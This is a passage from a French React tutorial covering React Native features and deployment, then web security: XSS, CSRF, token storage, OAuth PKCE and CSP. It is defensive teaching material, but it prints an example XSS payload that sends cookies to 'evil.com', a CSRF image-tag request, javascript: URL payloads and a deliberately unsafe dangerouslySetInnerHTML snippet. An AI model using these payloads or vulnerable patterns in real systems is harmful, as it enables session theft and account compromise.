          onBarcodeScanned={scanned ? undefined : handleScan}
          barcodeScannerSettings={{ barcodeTypes: ['qr'] }}
        />
        {scanned && (
          <Button onPress={() => setScanned(false)}>Scanner à nouveau</Button>
        )}
      </View>
    );
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
74.3 — PARTAGE NATIF ET CLIPBOARD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { Share, Clipboard } from 'react-native';

  const shareTask = async (task: Task) => {
    try {
      const result = await Share.share({
        message: `[LISTE] Tâche : ${task.title}\nPriorité : ${task.priority}\nÉchéance : ${task.dueDate}`,
        title:   task.title,
        url:     `https://app.taskflow.com/tasks/${task.id}`,
      });
      if (result.action === Share.sharedAction) {
        console.log('Partagé avec succès');
      }
    } catch (error) {
      Alert.alert('Erreur', 'Impossible de partager cette tâche.');
    }
  };

  const copyTaskLink = async (taskId: number) => {
    const url = `https://app.taskflow.com/tasks/${taskId}`;
    await Clipboard.setStringAsync(url);
    Alert.alert('Copié !', 'Le lien a été copié dans le presse-papier.');
  };


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 75 : PERFORMANCE REACT NATIVE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
75.1 — FLATLIST — LISTES PERFORMANTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // FlatList virtualise automatiquement les grandes listes.
  // Seulement les éléments visibles sont rendus.

  <FlatList
    data={tasks}
    keyExtractor={item => item.id.toString()}
    renderItem={({ item }) => <TaskCard task={item} />}

    // Performance :
    initialNumToRender={10}       // Éléments rendus au premier render
    maxToRenderPerBatch={10}      // Éléments rendus par batch
    windowSize={10}               // Fenêtre de rendu (en nombre d'écrans)
    removeClippedSubviews         // Démonter les vues hors écran
    getItemLayout={(_, index) => ({  // Optimisation si hauteur fixe
      length:  ITEM_HEIGHT,
      offset:  ITEM_HEIGHT * index,
      index,
    })}

    // Callbacks :
    onEndReached={loadMore}       // Infinite scroll
    onEndReachedThreshold={0.5}   // Déclencher à 50% de la fin

    // Refresh :
    refreshControl={
      <RefreshControl
        refreshing={isRefreshing}
        onRefresh={handleRefresh}
        tintColor={colors.primary[500]}
      />
    }

    // Extras :
    ListHeaderComponent={<TasksHeader count={tasks.length} />}
    ListFooterComponent={isLoading ? <Spinner /> : null}
    ListEmptyComponent={<EmptyState message="Aucune tâche" />}
    ItemSeparatorComponent={() => <View style={styles.separator} />}

    // Accessibilité :
    accessibilityRole="list"
    accessible
  />

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
75.2 — MEMO ET OPTIMISATIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // React.memo pour les items de liste (CRUCIAL pour FlatList) :
  const TaskCard = memo(function TaskCard({ task, onPress, onComplete }: TaskCardProps) {
    // Ne re-render que si task, onPress ou onComplete changent
    return <View>...</View>;
  });

  // useCallback pour les handlers passés aux items :
  function TasksListScreen() {
    const navigation = useNavigation<TasksNavigationProp>();

    const handlePress = useCallback((task: Task) => {
      navigation.navigate('TaskDetail', { taskId: task.id });
    }, [navigation]);

    const handleComplete = useCallback((id: number) => {
      completeTask(id);
    }, [completeTask]);

    return (
      <FlatList
        renderItem={({ item }) => (
          <TaskCard
            task={item}
            onPress={handlePress}
            onComplete={handleComplete}
          />
        )}
      />
    );
  }

  // Utiliser InteractionManager pour les tâches lourdes :
  import { InteractionManager } from 'react-native';

  useEffect(() => {
    const interaction = InteractionManager.runAfterInteractions(() => {
      // Exécuter APRÈS que les animations soient terminées
      loadHeavyData();
    });

    return () => interaction.cancel();
  }, []);


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 76 : DÉPLOIEMENT IOS ET ANDROID
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
76.1 — EXPO APPLICATION SERVICES (EAS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Installer EAS CLI :
  npm install -g eas-cli

  # Se connecter à Expo :
  eas login

  # Configurer le projet :
  eas build:configure
  # -> Génère eas.json

  # eas.json :
  {
    "cli": { "version": ">= 5.0.0" },
    "build": {
      "development": {
        "developmentClient": true,
        "distribution":      "internal"
      },
      "preview": {
        "distribution": "internal",
        "android": { "buildType": "apk" }
      },
      "production": {
        "autoIncrement": true
      }
    },
    "submit": {
      "production": {}
    }
  }

  # Builds :
  eas build --platform ios     # Build pour iOS
  eas build --platform android # Build pour Android
  eas build --platform all     # Les deux

  # Soumettre aux stores :
  eas submit --platform ios      # -> App Store Connect
  eas submit --platform android  # -> Google Play Console

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
76.2 — OTA UPDATES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les OTA (Over-The-Air) updates permettent de mettre à jour l'app
sans passer par les stores (pour les changements JS uniquement).

  # Publier une mise à jour OTA :
  eas update --branch production --message "Fix: bug de login"

  // src/app/_layout.tsx — Vérifier les updates au démarrage :
  import * as Updates from 'expo-updates';

  async function checkForUpdates() {
    if (!__DEV__) {
      try {
        const update = await Updates.checkForUpdateAsync();
        if (update.isAvailable) {
          await Updates.fetchUpdateAsync();
          await Updates.reloadAsync();
        }
      } catch (err) {
        console.log('Pas de mise à jour disponible');
      }
    }
  }


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 12
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-12.1 : Créer le projet Expo TaskFlow Mobile avec le template TypeScript.
            Implémenter les composants Button, Input, Badge avec StyleSheet.

  EX-12.2 : Écran de login complet avec validation (React Hook Form + Zod).
            Keyboard avoiding view, focus automatique sur le premier champ.

  EX-12.3 : FlatList de tâches avec données mockées.
            RefreshControl (pull-to-refresh), ListEmptyComponent.

NIVEAU INTERMÉDIAIRE :
  EX-12.4 : Navigation complète avec React Navigation :
            Stack auth (Login), Tabs (Dashboard, Tasks, Profile).
            Protected navigation basée sur le state auth.

  EX-12.5 : TaskCard avec swipe-to-delete et swipe-to-complete.
            Utiliser react-native-gesture-handler.

  EX-12.6 : AsyncStorage pour la persistance du token auth.
            Vérification du token au démarrage, logout propre.

NIVEAU AVANCÉ :
  EX-12.7 : React Query dans React Native avec persistance du cache
            (via AsyncStorage entre les sessions).

  EX-12.8 : Notifications push avec rappels automatiques à J-1 des tâches.
            Naviguer vers la tâche au tap sur la notification.

  EX-12.9 : Build EAS pour iOS et Android (si vous avez les prérequis).
            OTA update fonctionnelle.


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ PARTIE 12
════════════════════════════════════════════════════════════════════════════════

  [OK] React Native = React + UI native (View, Text, Image, Pressable)
  [OK] Expo = setup simplifié, OTA updates, modules natifs prêts
  [OK] StyleSheet = CSS-like mais objets JS, pas d'unités
  [OK] Composants de base : View, Text, TextInput, FlatList, ScrollView
  [OK] Navigation : React Navigation (Stack, Tabs, Modal)
  [OK] AsyncStorage : localStorage asynchrone du mobile
  [OK] React Query, Zustand, TypeScript : identiques au web !
  [OK] Fonctionnalités natives : caméra, notifications push, share, clipboard
  [OK] FlatList : virtualisation automatique des grandes listes
  [OK] EAS : build et déploiement iOS/Android en cloud

PROCHAINE PARTIE : Sécurité avancée dans React — XSS, CSRF, CSP, Auth patterns
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN PARTIE 12 -> Continuer : react_master_part_13.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 13 : SÉCURITÉ AVANCÉE DANS REACT
================================================================================
VERSION 1.0 | CHAPITRES 77–83 | PROJET : TaskFlow Sécurisé
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 77  ->  Vulnérabilités web et React
  CHAPITRE 78  ->  XSS — Cross-Site Scripting
  CHAPITRE 79  ->  CSRF et protection des formulaires
  CHAPITRE 80  ->  Authentication sécurisée (JWT, OAuth2, PKCE)
  CHAPITRE 81  ->  Content Security Policy (CSP)
  CHAPITRE 82  ->  Gestion des secrets et variables d'environnement
  CHAPITRE 83  ->  Audit et hardening d'une app React
  PROJET       ->  TaskFlow Sécurisé — Checklist complète
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 77 : VULNÉRABILITÉS WEB ET REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
77.1 — OWASP TOP 10 POUR LES APPS REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

OWASP (Open Web Application Security Project) maintient la liste des
10 risques de sécurité les plus critiques pour les apps web.

Pour React en particulier :

  #1 BROKEN ACCESS CONTROL
     Les routes/API ne vérifient pas si l'utilisateur a les droits.
     -> Implémenter des guards côté client ET côté serveur.

  #2 CRYPTOGRAPHIC FAILURES
     Secrets exposés côté client, tokens mal stockés.
     -> Jamais de secrets dans le code JS.

  #3 INJECTION (XSS, SQLi côté API)
     Injecter du code malicieux via les inputs utilisateur.
     -> Sanitiser les entrées, utiliser dangerouslySetInnerHTML avec soin.

  #4 INSECURE DESIGN
     Architecture mal conçue : mauvaise gestion des sessions, RBAC absent.
     -> Concevoir la sécurité dès le début (security by design).

  #5 SECURITY MISCONFIGURATION
     Headers manquants, CORS trop permissif, debug mode en prod.
     -> Vérifier les headers de sécurité, désactiver le debug.

  #6 VULNERABLE COMPONENTS
     Dépendances npm avec des vulnérabilités connues.
     -> npm audit, Dependabot, mise à jour régulière.

  #7 IDENTIFICATION & AUTH FAILURES
     Tokens expiration infinie, pas de refresh, mauvais stockage.
     -> JWT avec expiration courte, refresh tokens, HTTPS only.

  #8 SOFTWARE INTEGRITY FAILURES
     CDN non vérifiés, supply chain attacks.
     -> Subresource Integrity (SRI) pour les scripts CDN.

  #9 LOGGING & MONITORING FAILURES
     Pas de logs des actions sensibles, pas d'alertes.
     -> Logger les authentifications, les erreurs, les accès refusés.

  #10 SERVER-SIDE REQUEST FORGERY (SSRF)
     L'API backend fait des requêtes vers des URLs contrôlées par l'attaquant.
     -> Côté React : valider les URLs avant de les passer à l'API.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
77.2 — SURFACE D'ATTAQUE D'UNE APP REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  INPUTS UTILISATEUR
    -> Formulaires (titres, descriptions, commentaires)
    -> Query parameters (?search=..., ?redirect=...)
    -> URL params (/tasks/:id)
    -> LocalStorage / sessionStorage

  DONNÉES DE L'API
    -> Données retournées par le serveur (pas toujours fiables !)
    -> Erreurs API qui contiennent des détails techniques

  DÉPENDANCES NPM
    -> Plus de 80% du code d'une app vient des dépendances
    -> Chaque paquet peut contenir du code malveillant

  VARIABLES D'ENVIRONNEMENT
    -> Exposées au client si préfixées VITE_ / REACT_APP_
    -> Ne JAMAIS y mettre des secrets

  ASSETS TIERS
    -> Scripts CDN, polices, analytics
    -> Peuvent injecter du code arbitraire si compromis


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 78 : XSS — CROSS-SITE SCRIPTING
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
78.1 — QU'EST-CE QUE XSS ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

XSS (Cross-Site Scripting) = injection de JavaScript malveillant
dans une page qui sera exécuté par les visiteurs.

EXEMPLE D'ATTAQUE :
  L'attaquant crée une tâche avec pour titre :
  <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

  Si ce titre est affiché sans protection -> le script s'exécute
  et vole les cookies/tokens de TOUS les utilisateurs qui voient la tâche.

REACT PROTÈGE PAR DÉFAUT :
  React échappe automatiquement tout contenu dans les expressions JSX.
  {userInput} -> le contenu est traité comme du TEXTE, jamais comme du HTML.

  const evilInput = '<script>alert("XSS")</script>';
  return <div>{evilInput}</div>;
  // -> Affiché comme texte : &lt;script&gt;alert("XSS")&lt;/script&gt;
  // Le script NE S'EXÉCUTE PAS.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
78.2 — DANGEROUSSLYSETINNERHTML — LE SEUL VECTEUR XSS EN REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  dangerouslySetInnerHTML DÉSACTIVE la protection de React.
  À utiliser SEULEMENT pour du contenu HTML contrôlé ET sanitisé.

  // [X] DANGEREUX — Ne jamais faire ça :
  function TaskDescription({ description }: { description: string }) {
    return (
      <div dangerouslySetInnerHTML={{ __html: description }} />
      //  ^ Si description vient de l'utilisateur -> XSS garanti !
    );
  }

  // [OK] SÉCURISÉ — Toujours sanitiser avant dangerouslySetInnerHTML :
  import DOMPurify from 'dompurify';

  function TaskDescription({ description }: { description: string }) {
    const sanitized = DOMPurify.sanitize(description, {
      ALLOWED_TAGS:  ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li', 'h2', 'h3', 'a'],
      ALLOWED_ATTR:  ['href', 'target', 'rel'],
      FORBID_ATTR:   ['onclick', 'onerror', 'onload'],
      FORCE_BODY:    true,
    });

    return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
  }

  // Installer DOMPurify :
  npm install dompurify @types/dompurify

  // RÈGLE D'OR : Si possible, ne pas utiliser dangerouslySetInnerHTML du tout.
  // Utiliser un renderer Markdown sécurisé (react-markdown) à la place.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
78.3 — AUTRES VECTEURS XSS EN REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // [X] XSS via href avec javascript: protocol :
  const userUrl = 'javascript:alert("XSS")';
  <a href={userUrl}>Cliquez ici</a>  // <- S'exécute au clic !

  // [OK] Valider les URLs :
  function SafeLink({ href, children }: { href: string; children: ReactNode }) {
    const isSafeUrl = (url: string): boolean => {
      try {
        const parsed = new URL(url);
        return ['http:', 'https:', 'mailto:'].includes(parsed.protocol);
      } catch {
        return false;  // URL invalide -> refuser
      }
    };

    if (!isSafeUrl(href)) {
      return <span>{children}</span>;  // Pas de lien si URL suspecte
    }

    return (
      <a href={href} target="_blank" rel="noopener noreferrer">
        {children}
      </a>
    );
  }

  // [X] XSS via style injection :
  const userStyle = 'background:url("javascript:alert(1)")';
  <div style={userStyle}>  // <- React n'accepte pas string en style, mais attention
  // React accepte seulement des objets pour style -> pas de string CSS

  // [X] XSS via eval() ou Function() :
  const userCode = 'alert("XSS")';
  eval(userCode);          // Ne JAMAIS utiliser eval
  new Function(userCode)(); // Idem

  // [X] XSS dans les props non contrôlées :
  // Ne pas passer des données utilisateur directement dans des props
  // comme dangerouslySetInnerHTML, src (pour les scripts), href...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
78.4 — REACT-MARKDOWN — ALTERNATIVE SÉCURISÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  npm install react-markdown rehype-sanitize

  import ReactMarkdown from 'react-markdown';
  import rehypeSanitize from 'rehype-sanitize';

  // ReactMarkdown sanitise par défaut — beaucoup plus sûr que dangerouslySetInnerHTML :
  function TaskDescription({ markdown }: { markdown: string }) {
    return (
      <ReactMarkdown
        rehypePlugins={[rehypeSanitize]}  // Plugin de sanitisation
        components={{
          // Remplacer les composants pour ajouter des attributs de sécurité :
          a: ({ href, children }) => (
            <SafeLink href={href ?? '#'}>{children}</SafeLink>
          ),
        }}
      >
        {markdown}
      </ReactMarkdown>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 79 : CSRF ET PROTECTION DES FORMULAIRES
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
79.1 — QU'EST-CE QUE CSRF ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CSRF (Cross-Site Request Forgery) = l'attaquant fait effectuer une action
par la victime sans qu'elle le sache.

SCÉNARIO D'ATTAQUE :
  1. Alice est connectée à taskflow.app (cookie de session actif)
  2. Alice visite evil.com (un site malveillant)
  3. evil.com contient : <img src="https://taskflow.app/api/delete-all-tasks">
  4. Le navigateur envoie automatiquement le cookie d'Alice avec la requête
  5. TaskFlow exécute l'action (suppression) au nom d'Alice !

PROTECTION PRINCIPALE : Utiliser des JWT dans les Headers (pas les cookies).
  Les attaques CSRF exploitent les cookies envoyés automatiquement.
  Les headers Authorization ne sont PAS envoyés automatiquement par le navigateur.
  -> Les SPAs React avec JWT dans localStorage sont naturellement protégées contre CSRF.

SI VOUS UTILISEZ DES COOKIES :
  Configurer SameSite=Strict ou SameSite=Lax sur les cookies de session.
  Utiliser des CSRF tokens (double submit cookie pattern).

  // Envoyer le CSRF token dans les requêtes :
  const csrfToken = document.cookie
    .split('; ')
    .find(row => row.startsWith('XSRF-TOKEN='))
    ?.split('=')[1];

  api.interceptors.request.use(config => {
    if (csrfToken && ['POST', 'PUT', 'PATCH', 'DELETE'].includes(config.method?.toUpperCase() ?? '')) {
      config.headers['X-XSRF-TOKEN'] = csrfToken;
    }
    return config;
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 80 : AUTHENTICATION SÉCURISÉE
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
80.1 — STOCKAGE DES TOKENS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

COMPARAISON DES STOCKAGES :

  ┌─────────────────┬──────────────────────────────┬────────────────────┐
  │ Stockage        │ Avantages                    │ Risques            │
  ├─────────────────┼──────────────────────────────┼────────────────────┤
  │ localStorage    │ Simple, persistant           │ Accessible via XSS │
  │ sessionStorage  │ Effacé à fermeture onglet    │ Accessible via XSS │
  │ Cookie httpOnly │ Non accessible via JS <- sûr! │ Vulnérable CSRF    │
  │ Memory (state)  │ Non accessible via XSS       │ Perdu au reload    │
  └─────────────────┴──────────────────────────────┴────────────────────┘

RECOMMANDATION POUR TASKFLOW :

  OPTION A — JWT en localStorage (simple, acceptable pour apps B2B) :
    + Protection CSRF naturelle (JWT dans header Authorization)
    + Persistance entre sessions
    - Accessible via XSS (mitigé si l'app est sécurisée)

  OPTION B — httpOnly Cookies (plus sécurisé pour apps B2C) :
    + Inaccessible via JavaScript (même en cas de XSS)
    - Nécessite protection CSRF (SameSite=Strict ou CSRF tokens)
    - Requiert configuration CORS avec credentials

  OPTION C — Access Token en memory + Refresh Token en httpOnly Cookie :
    [OK] MEILLEURE OPTION
    + Access token en mémoire : XSS ne peut pas le voler
    + Refresh token httpOnly : persistance sécurisée
    + Short-lived access tokens (15 min) limitent la fenêtre d'attaque

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
80.2 — IMPLÉMENTATION SÉCURISÉE — OPTION C
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // src/lib/authTokens.ts
  // Access token en mémoire (variable de module — persiste dans la session JS) :
  let accessToken: string | null = null;

  export const tokenManager = {
    getAccessToken: () => accessToken,

    setAccessToken: (token: string | null) => {
      accessToken = token;
    },

    clearTokens: () => {
      accessToken = null;
      // Le refresh token est effacé côté serveur (via /auth/logout)
      // et le cookie httpOnly est supprimé par le serveur avec Set-Cookie: expire
    },
  };

  // src/api/axios.config.ts
  import { tokenManager } from '@/lib/authTokens';

  const api = axios.create({ baseURL: '/api', withCredentials: true });
  // withCredentials: true -> envoyer les cookies httpOnly

  api.interceptors.request.use(config => {
    const token = tokenManager.getAccessToken();
    if (token) config.headers.Authorization = `Bearer ${token}`;
    return config;
  });

  // Intercepteur pour refresh automatique :
  let isRefreshing    = false;
  let failedQueue:    Array<{ resolve: Function; reject: Function }> = [];

  const processQueue = (error: Error | null, token: string | null) => {
    failedQueue.forEach(({ resolve, reject }) => {
      error ? reject(error) : resolve(token);
    });
    failedQueue = [];
  };

  api.interceptors.response.use(
    response => response.data,
    async error => {
      const originalRequest = error.config;

      if (error.response?.status === 401 && !originalRequest._retry) {
        if (isRefreshing) {
          // Si déjà en train de refresh, mettre en attente :
          return new Promise((resolve, reject) => {
            failedQueue.push({ resolve, reject });
          }).then(token => {
            originalRequest.headers.Authorization = `Bearer ${token}`;
            return api(originalRequest);
          });
        }

        originalRequest._retry = true;
        isRefreshing = true;

        try {
          // Le refresh token est dans le cookie httpOnly — envoyé automatiquement :
          const { accessToken } = await api.post('/auth/refresh');
          tokenManager.setAccessToken(accessToken);
          processQueue(null, accessToken);

          originalRequest.headers.Authorization = `Bearer ${accessToken}`;
          return api(originalRequest);
        } catch (refreshError) {
          processQueue(refreshError as Error, null);
          tokenManager.clearTokens();
          window.location.href = '/login';
          return Promise.reject(refreshError);
        } finally {
          isRefreshing = false;
        }
      }

      return Promise.reject(error);
    }
  );

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
80.3 — OAUTH2 ET CONNEXION SOCIALE (GOOGLE, GITHUB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Flux OAuth2 avec PKCE (Proof Key for Code Exchange) — le plus sécurisé :
  // PKCE protège contre l'interception du code d'autorisation.

  // src/lib/oauth.ts
  import { authApi } from '@/api/auth.api';

  async function generateCodeVerifier(): Promise<string> {
    const array = new Uint8Array(32);
    crypto.getRandomValues(array);
    return btoa(String.fromCharCode(...array))
      .replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
  }

  async function generateCodeChallenge(verifier: string): Promise<string> {
    const data    = new TextEncoder().encode(verifier);
    const digest  = await crypto.subtle.digest('SHA-256', data);
    return btoa(String.fromCharCode(...new Uint8Array(digest)))
      .replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
  }

  export async function initiateOAuthFlow(provider: 'google' | 'github') {
    const verifier   = await generateCodeVerifier();
    const challenge  = await generateCodeChallenge(verifier);
    const state      = crypto.randomUUID();  // Protège contre CSRF OAuth

    // Stocker le verifier et le state pour la vérification :
    sessionStorage.setItem('pkce_verifier', verifier);
    sessionStorage.setItem('oauth_state',   state);

    const params = new URLSearchParams({
      client_id:             import.meta.env[`VITE_${provider.toUpperCase()}_CLIENT_ID`],
      redirect_uri:          `${window.location.origin}/auth/callback`,
      response_type:         'code',
      scope:                 'openid email profile',
      state,
      code_challenge:        challenge,
      code_challenge_method: 'S256',
    });

    window.location.href = `https://${provider}.com/o/oauth2/auth?${params}`;
  }

  // Page de callback OAuth :
  async function handleOAuthCallback(searchParams: URLSearchParams) {
    const code     = searchParams.get('code');
    const state    = searchParams.get('state');
    const verifier = sessionStorage.getItem('pkce_verifier');
    const savedState = sessionStorage.getItem('oauth_state');

    // Vérifier le state (protection CSRF) :
    if (state !== savedState) {
      throw new Error('State mismatch — possible CSRF attack');
    }

    // Échanger le code contre un token (côté serveur) :
    const { accessToken } = await authApi.exchangeOAuthCode({
      code, codeVerifier: verifier!,
    });

    sessionStorage.removeItem('pkce_verifier');
    sessionStorage.removeItem('oauth_state');

    tokenManager.setAccessToken(accessToken);
    return accessToken;
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
80.4 — VALIDATION CÔTÉ CLIENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La validation côté client est pour l'UX. La validation côté serveur est pour la sécurité.
TOUJOURS valider côté serveur — le code client peut être bypassé.

  // src/schemas/auth.schema.ts
  import { z } from 'zod';

  export const loginSchema = z.object({
    email:    z.string().email('Email invalide'),
    password: z.string().min(1, 'Mot de passe requis'),
  });

  export const registerSchema = z.object({
    name: z
      .string()
      .min(2, 'Minimum 2 caractères')
      .max(100, 'Maximum 100 caractères')
      .regex(/^[a-zA-Z\s\u00C0-\u024F]+$/, 'Caractères invalides'),  // Lettres et espaces
    email: z
      .string()
      .email('Email invalide')
      .toLowerCase(),  // Normalisation
    password: z
      .string()
      .min(12, 'Minimum 12 caractères')
      .regex(/[A-Z]/, 'Au moins une majuscule')
      .regex(/[a-z]/, 'Au moins une minuscule')
      .regex(/[0-9]/, 'Au moins un chiffre')
      .regex(/[!@#$%^&*]/, 'Au moins un caractère spécial (!@#$%^&*)'),
    confirmPassword: z.string(),
  }).refine(data => data.password === data.confirmPassword, {
    message: 'Les mots de passe ne correspondent pas',
    path:    ['confirmPassword'],
  });

  // Indicateur de force du mot de passe :
  function PasswordStrengthIndicator({ password }: { password: string }) {
    const getStrength = (pwd: string): { score: number; label: string; color: string } => {
      let score = 0;
      if (pwd.length >= 8)  score++;
      if (pwd.length >= 12) score++;
      if (/[A-Z]/.test(pwd)) score++;
      if (/[a-z]/.test(pwd)) score++;
      if (/[0-9]/.test(pwd)) score++;
      if (/[^a-zA-Z0-9]/.test(pwd)) score++;

      if (score <= 2) return { score, label: 'Faible',   color: '#ef4444' };
      if (score <= 4) return { score, label: 'Moyen',    color: '#f59e0b' };
      return              { score, label: 'Fort',    color: '#22c55e' };
    };

    const { score, label, color } = getStrength(password);
    const width = `${(score / 6) * 100}%`;

    return (
      <div className="password-strength">
        <div
          className="strength-bar"
          style={{ width, backgroundColor: color, transition: 'all 0.3s' }}
        />
        <span style={{ color }}>{label}</span>
      </div>
    );
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 81 : CONTENT SECURITY POLICY (CSP)
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
81.1 — QU'EST-CE QUE CSP ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CSP est un header HTTP qui contrôle quelles ressources le navigateur
peut charger pour votre page. C'est la dernière ligne de défense contre XSS.

Même si un attaquant injecte du JS malveillant, CSP peut empêcher
le script de s'exécuter ou de communiquer avec un serveur externe.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
81.2 — CONFIGURATION CSP POUR UNE APP REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Header HTTP (côté serveur Node.js/Express) :
  Content-Security-Policy:
    default-src 'self';
    script-src  'self' 'nonce-RANDOM_NONCE';
    style-src   'self' 'nonce-RANDOM_NONCE' https://fonts.googleapis.com;
    font-src    'self' https://fonts.gstatic.com;
    img-src     'self' data: https://res.cloudinary.com;
    connect-src 'self' https://api.taskflow.app wss://api.taskflow.app;
    frame-src   'none';
    object-src  'none';
    base-uri    'self';
    form-action 'self';

  // Configuration avec Helmet (Express/Node) :
  import helmet from 'helmet';

  app.use(helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc:  ["'self'"],
